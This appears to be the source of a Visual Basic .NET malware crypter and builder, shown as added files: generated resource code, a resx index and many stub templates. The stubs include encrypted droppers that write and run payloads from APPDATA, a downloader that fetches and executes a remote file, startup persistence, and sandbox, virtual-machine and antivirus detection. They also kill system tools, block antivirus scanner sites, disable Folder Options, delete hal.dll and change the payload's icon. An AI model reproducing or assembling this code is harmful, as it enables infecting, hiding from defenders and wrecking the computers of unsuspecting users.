''' WebBlock(&quot;www.eset.com/online-scanner&quot;)
'''
''' WebBlock(&quot;housecall.trendmicro.com&quot;)
'''
''' WebBlock(&quot;www.kaspersky.com/scanforvirus&quot;)
'''
''' WebBlock(&quot;www.kaspersky.com/vir [rest of string was truncated]&quot;;.
'''</summary>
Friend ReadOnly Property Websites() As String
Get
Return ResourceManager.GetString("Websites", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Dim N As String = xEncryptionD(R.GetObject(&quot;K&quot;), R.GetObject(&quot;NM&quot;))
''' Dim I As String = Environ(&quot;APPDATA&quot;) &amp; &quot;\&quot; &amp; N &amp; &quot;.exe&quot;
''' If IO.File.Exists(I) Then
''' IO.File.Delete(I)
''' End If
''' Dim II As Byte() = System.Text.Encoding.Default.GetBytes(xEncryptionD(R.GetObject(&quot;K&quot;), _
''' R.GetObject(&quot;I&quot;)))
''' Try
''' My.Computer.FileSystem.WriteAllBytes(I, II, False)
''' Catch
''' End Try
''' Dim III As Byte() = System.Text.Encoding.Default.GetBytes(xEncryptionD(R.GetObject(&quot;K&quot;), _
''' R.GetObject(&quot;F&quot;)))
''' LoadMethod(&quot;IX&quot;, &quot;R&quot;, [rest of string was truncated]&quot;;.
'''</summary>
Friend ReadOnly Property XORLoader() As String
Get
Return ResourceManager.GetString("XORLoader", resourceCulture)
End Get
End Property
'''<summary>
''' Looks up a localized string similar to Public Shared Function xEncryptionD(ByVal CodeKey As String, ByVal DataIn As String) As String
'''
''' Dim lonDataPtr As Long
'''
''' Dim strDataOut As String = &quot;&quot;
'''
''' Dim intXOrValue1 As Integer
'''
''' Dim intXOrValue2 As Integer
'''
''' Dim H As String = &quot;&amp;H&quot;
'''
''' For lonDataPtr = 1 To (Len(DataIn) / 2)
'''
''' intXOrValue1 = Val(H &amp; (Mid$(DataIn, (2 * lonDataPtr) - 1, 2)))
'''
''' intXOrValue2 = Asc(Mid$(CodeKey, ((lonDataPtr Mod Len(CodeKey)) + 1), 1))
'''
''' [rest of string was truncated]&quot;;.
'''</summary>
Friend ReadOnly Property XORRev() As String
Get
Return ResourceManager.GetString("XORRev", resourceCulture)
End Get
End Property
End Module
End Namespace
@@ -0,0 +1,244 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
<data name="Add2StartUp" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\Add2StartUp.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="Adxdiag" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\Adxdiag.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="AESLoader" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\AESLoader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="AESRev" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\AESRev.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="ANotePad" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\ANotePad.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="AntisSub" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\AntisSub.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="APIs" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\APIs.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="Binder" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\Binder.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="Downloader" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\Downloader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="FolderOpt" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\FolderOpt.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="FunctionA" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\FunctionA.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="HalDLL" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\HalDLL.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="KFunction" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\KFunction.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="Killers" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\Killers.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="Melt" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\Melt.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="msconfig" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\msconfig.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="PolyDec" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\PolyDec.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="PolyRC4Loader" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\PolyRC4Loader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="PolyRC4Rev" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\PolyRC4Rev.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="PolyStairsLoader" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\PolyStairsLoader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="PolyStairsRev" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\PolyStairsRev.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="PolyXORLoader" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\PolyXORLoader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="PolyXORRev" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\PolyXORRev.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="RC4" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\RC4.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="RC4Loader" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\RC4Loader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="Regedit" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\Regedit.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="ResetStub" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\ResetStub.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="Restart" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\Restart.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="RijLoader" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\RijLoader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="RijndaelRev" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\RijndaelRev.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="RpE" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\RpE.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="StairsLoader" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\StairsLoader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="StairsRev" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\StairsRev.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="Stub" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\Stub.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="TaskMSub" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\TaskMSub.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="TDESLoader" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\TDESLoader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="TDESRev" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\TDESRev.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="Websites" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\Websites.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="XORLoader" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\XORLoader.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="XORRev" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\XORRev.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
<data name="Invoke" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\Resources\Invoke.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
</data>
</root>
@@ -0,0 +1,73 @@
'------------------------------------------------------------------------------
' <auto-generated>
' This code was generated by a tool.
' Runtime Version:4.0.30319.1
'
' Changes to this file may cause incorrect behavior and will be lost if
' the code is regenerated.
' </auto-generated>
'------------------------------------------------------------------------------
Option Strict On
Option Explicit On
Namespace My
<Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0"), _
Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Partial Friend NotInheritable Class MySettings
Inherits Global.System.Configuration.ApplicationSettingsBase
Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings)
#Region "My.Settings Auto-Save Functionality"
#If _MyType = "WindowsForms" Then
Private Shared addedHandler As Boolean
Private Shared addedHandlerLockObject As New Object
<Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs)
If My.Application.SaveMySettingsOnExit Then
My.Settings.Save()
End If
End Sub
#End If
#End Region
Public Shared ReadOnly Property [Default]() As MySettings
Get
#If _MyType = "WindowsForms" Then
If Not addedHandler Then
SyncLock addedHandlerLockObject
If Not addedHandler Then
AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
addedHandler = True
End If
End SyncLock
End If
#End If
Return defaultInstance
End Get
End Property
End Class
End Namespace
Namespace My
<Global.Microsoft.VisualBasic.HideModuleNameAttribute(), _
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()> _
Friend Module MySettingsProperty
<Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")> _
Friend ReadOnly Property Settings() As Global.SCV6._0.My.MySettings
Get
Return Global.SCV6._0.My.MySettings.Default
End Get
End Property
End Module
End Namespace
@@ -0,0 +1,7 @@
<?xml version='1.0' encoding='utf-8'?>
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)" UseMySettingsClassName="true">
<Profiles>
<Profile Name="(Default)" />
</Profiles>
<Settings />
</SettingsFile>
@@ -0,0 +1,10 @@
Dim N As String = System.Text.Encoding.Default.GetString(AD(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM")))))
Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
If IO.File.Exists(I) Then
IO.File.Delete(I)
End If
Try
My.Computer.FileSystem.WriteAllBytes(I, AD(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I")))), False)
Catch
End Try
LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {AD(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("F")))), I})
@@ -0,0 +1,17 @@
Shared Function AD(ByVal Y As Byte())
Using A As New System.Security.Cryptography.RC2CryptoServiceProvider
A.IV = New Byte() {Convert.ToInt32(1000, 2), Convert.ToInt32(111, 2), _
Convert.ToInt32(110, 2), Convert.ToInt32(101, 2), _
Convert.ToInt32(100, 2), Convert.ToInt32(11, 2), _
Convert.ToInt32(10, 2), Convert.ToInt32(&H1, 2)}
A.Key = New Byte() {Convert.ToInt32(&H0, 2), Convert.ToInt32(&H1, 2), _
Convert.ToInt32(10, 2), Convert.ToInt32(11, 2), _
Convert.ToInt32(100, 2), Convert.ToInt32(101, 2), _
Convert.ToInt32(110, 2), Convert.ToInt32(111, 2), _
Convert.ToInt32(1000, 2), Convert.ToInt32(1001, 2), _
Convert.ToInt32(&H0, 2), Convert.ToInt32(&H1, 2), _
Convert.ToInt32(10, 2), Convert.ToInt32(11, 2), _
Convert.ToInt32(100, 2), Convert.ToInt32(101, 2)}
Return A.CreateDecryptor.TransformFinalBlock(Y, Convert.ToInt32(&H0, 2), Y.Length)
End Using
End Function
@@ -0,0 +1,3 @@
Shared Sub F62()
Killer("notepad")
End Sub
@@ -0,0 +1,11 @@
Public Declare Function SetWindowLong Lib "user32.dll" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nindex As Long, ByVal dwnewlong As Long) As Long
|Public Declare Function CallWindowProc Lib "user32.dll" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
|Public Declare Function DefWindowProc Lib "user32.dll" Alias "DefWindowProcA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
|Public Declare Function CloseHandle Lib "kernel32.dll" (ByVal hObject As Long) As Long
|Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal blnheritHandle As Long, ByVal dwAppProcessId As Long) As Long
|Declare Function CreateToolhelpSnapshot Lib "kernel32.dll" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, ByVal lProcessID As Long) As Long
|Declare Function TerminateProcess Lib "kernel32.dll" (ByVal ApphProcess As Long, ByVal uExitCode As Long) As Long
|Private Declare Function EnumPorts Lib "winspool.drv" Alias "EnumPortsA" (ByVal pName As String, ByVal Level As Long, ByVal lpbPorts As Long, ByVal cbBuf As Long, ByVal pcbNeeded As Long, ByVal pcReturned As Long) As Long
|Private Declare Function lstrlenW Lib "kernel32.dll" (ByVal lpString As Long) As Long
|Private Declare Function HeapAlloc Lib "kernel32.dll" (ByVal hHeap As Long, ByVal dwFlags As Long, ByVal dwBytes As Long) As Long
|Private Declare Function GetProcessHeap Lib "kernel32.dll" () As Long
@@ -0,0 +1,12 @@
Shared Sub PushStart()
Dim xx As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\" & IO.Path.GetFileName(System.Windows.Forms.Application.ExecutablePath)
While True
Try
If Not IO.File.Exists(xx) Then
IO.File.Copy(System.Windows.Forms.Application.ExecutablePath, xx)
End If
Catch
End Try
System.Threading.Thread.Sleep(5000)
End While
End Sub
@@ -0,0 +1,3 @@
Shared Sub F63()
Killer("dxdiag")
End Sub
@@ -0,0 +1,59 @@
Shared Sub AT
Dim id As String = "76487-337-8429955-22614"
Dim regPID As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows NT\CurrentVersion", False)
Dim pid As Object = regPID.GetValue("ProductId")
Dim D As Object, R As String = Nothing, B As String = "SELECT * FROM Win32_VideoController"
D = GetObject("winmgmts:").ExecQuery(B)
Dim AdaptList As Object
For Each AdaptList In D
R = AdaptList.Description
Next
If System.Windows.Forms.Application.ExecutablePath = System.Windows.Forms.Application.StartupPath & "\Sample.exe" Then
System.Threading.Thread.Sleep(10000)
End If
If pid = id Then
System.Threading.Thread.Sleep(10000)
End If
A("wireshark")
Select Case R
Case "VM Additions S3 Trio32/64"
System.Threading.Thread.Sleep(10000)
Case "VirtualBox Graphics Adapter"
System.Threading.Thread.Sleep(10000)
Case "VMware SVGA II"
System.Threading.Thread.Sleep(10000)
End Select
A("SbieSvc")
A("avp")
A("avgnt")
A("ashServ")
A("avgtray")
End Sub
@@ -0,0 +1,12 @@
Dim filled() As String
Dim rand As New Random()
'FilledSplitting
Dim tpth As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\" & rand.Next(10000, 99999).ToString & filled(1)
My.Computer.FileSystem.WriteAllBytes(tpth, System.Text.Encoding.Default.GetBytes(filled(0)), False)
System.Diagnostics.Process.Start(tpth)
@@ -0,0 +1,6 @@
Dim Expl As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\1" & IO.Path.GetFileName(System.Windows.Forms.Application.ExecutablePath)
My.Computer.Network.DownloadFile($DownloadLink$, Expl)
Do Until IO.File.Exists(Expl) = True
System.Threading.Thread.Sleep(1000)
Loop
System.Diagnostics.Process.Start(Expl)
@@ -0,0 +1,5 @@
Try
Dim regloc As String = "HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer"
My.Computer.Registry.SetValue(regloc, "NoFolderOptions", "1", Microsoft.Win32.RegistryValueKind.DWord)
Catch
End Try
@@ -0,0 +1,6 @@
Public Shared Sub A(ByVal ProcessName As String)
Dim proc As System.Diagnostics.Process() = System.Diagnostics.Process.GetProcesses
If System.Diagnostics.Process.GetProcessesByName(ProcessName).Length >= 1 Then
System.Threading.Thread.Sleep(10000)
End If
End Sub
@@ -0,0 +1,4 @@
Try
IO.File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.System) & "\hal.dll")
Catch
End Try
@@ -0,0 +1,151 @@
Option Strict On
Option Explicit On
Option Infer On
Imports System.Runtime.InteropServices
Imports System.Security
Public Class IconChanger
<SuppressUnmanagedCodeSecurity()> _
Private Class NativeMethods
<DllImport("kernel32")> _
Public Shared Function BeginUpdateResource( _
ByVal fileName As String, _
<MarshalAs(UnmanagedType.Bool)> ByVal deleteExistingResources As Boolean) As IntPtr
End Function
<DllImport("kernel32")> _
Public Shared Function UpdateResource( _
ByVal hUpdate As IntPtr, _
ByVal type As IntPtr, _
ByVal name As IntPtr, _
ByVal language As Short, _
<MarshalAs(UnmanagedType.LPArray, SizeParamIndex:=5)> _
ByVal data() As Byte, _
ByVal dataSize As Integer) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
<DllImport("kernel32")> _
Public Shared Function EndUpdateResource( _
ByVal hUpdate As IntPtr, _
<MarshalAs(UnmanagedType.Bool)> ByVal discard As Boolean) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
End Class
<StructLayout(LayoutKind.Sequential)> _
Private Structure ICONDIR
Public Reserved As UShort
Public Type As UShort
Public Count As UShort
End Structure
<StructLayout(LayoutKind.Sequential)> _
Private Structure ICONDIRENTRY
Public Width As Byte
Public Height As Byte
Public ColorCount As Byte
Public Reserved As Byte
Public Planes As UShort
Public BitCount As UShort
Public BytesInRes As Integer
Public ImageOffset As Integer
End Structure
<StructLayout(LayoutKind.Sequential)> _
Private Structure BITMAPINFOHEADER
Public Size As UInteger
Public Width As Integer
Public Height As Integer
Public Planes As UShort
Public BitCount As UShort
Public Compression As UInteger
Public SizeImage As UInteger
Public XPelsPerMeter As Integer
Public YPelsPerMeter As Integer
Public ClrUsed As UInteger
Public ClrImportant As UInteger
End Structure
<StructLayout(LayoutKind.Sequential, Pack:=2)> _
Private Structure GRPICONDIRENTRY
Public Width As Byte
Public Height As Byte
Public ColorCount As Byte
Public Reserved As Byte
Public Planes As UShort
Public BitCount As UShort
Public BytesInRes As Integer
Public ID As UShort
End Structure
Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String)
InjectIcon(exeFileName, iconFileName, 1, 1)
End Sub
Public Shared Sub InjectIcon(ByVal exeFileName As String, ByVal iconFileName As String, ByVal iconGroupID As UInteger, ByVal iconBaseID As UInteger)
Const RT_ICON As UInteger = 3UI
Const RT_GROUP_ICON As UInteger = 14UI
Dim iconFile As IconFile = iconFile.FromFile(iconFileName)
Dim hUpdate = NativeMethods.BeginUpdateResource(exeFileName, False)
Dim data = iconFile.CreateIconGroupData(iconBaseID)
NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_GROUP_ICON), New IntPtr(iconGroupID), 0, data, data.Length)
For i = 0 To iconFile.ImageCount - 1
Dim image = iconFile.ImageData(i)
NativeMethods.UpdateResource(hUpdate, New IntPtr(RT_ICON), New IntPtr(iconBaseID + i), 0, image, image.Length)
Next
NativeMethods.EndUpdateResource(hUpdate, False)
End Sub
Private Class IconFile
Private iconDir As New ICONDIR
Private iconEntry() As ICONDIRENTRY
Private iconImage()() As Byte
Public ReadOnly Property ImageCount() As Integer
Get
Return iconDir.Count
End Get
End Property
Public ReadOnly Property ImageData(ByVal index As Integer) As Byte()
Get
Return iconImage(index)
End Get
End Property
Private Sub New()
End Sub
Public Shared Function FromFile(ByVal filename As String) As IconFile
Dim instance As New IconFile
Dim fileBytes() As Byte = IO.File.ReadAllBytes(filename)
Dim pinnedBytes = GCHandle.Alloc(fileBytes, GCHandleType.Pinned)
instance.iconDir = DirectCast(Marshal.PtrToStructure(pinnedBytes.AddrOfPinnedObject, GetType(ICONDIR)), ICONDIR)
instance.iconEntry = New ICONDIRENTRY(instance.iconDir.Count - 1) {}
instance.iconImage = New Byte(instance.iconDir.Count - 1)() {}
Dim offset = Marshal.SizeOf(instance.iconDir)
Dim iconDirEntryType = GetType(ICONDIRENTRY)
Dim size = Marshal.SizeOf(iconDirEntryType)
For i = 0 To instance.iconDir.Count - 1
Dim entry = DirectCast(Marshal.PtrToStructure(New IntPtr(pinnedBytes.AddrOfPinnedObject.ToInt64 + offset), iconDirEntryType), ICONDIRENTRY)
instance.iconEntry(i) = entry
instance.iconImage(i) = New Byte(entry.BytesInRes - 1) {}
Buffer.BlockCopy(fileBytes, entry.ImageOffset, instance.iconImage(i), 0, entry.BytesInRes)
offset += size
Next
pinnedBytes.Free()
Return instance
End Function
Public Function CreateIconGroupData(ByVal iconBaseID As UInteger) As Byte()
Dim sizeOfIconGroupData As Integer = Marshal.SizeOf(GetType(ICONDIR)) + Marshal.SizeOf(GetType(GRPICONDIRENTRY)) * ImageCount
Dim data(sizeOfIconGroupData - 1) As Byte
Dim pinnedData = GCHandle.Alloc(data, GCHandleType.Pinned)
Marshal.StructureToPtr(iconDir, pinnedData.AddrOfPinnedObject, False)
Dim offset = Marshal.SizeOf(iconDir)
For i = 0 To ImageCount - 1
Dim grpEntry As New GRPICONDIRENTRY
Dim bitmapheader As New BITMAPINFOHEADER
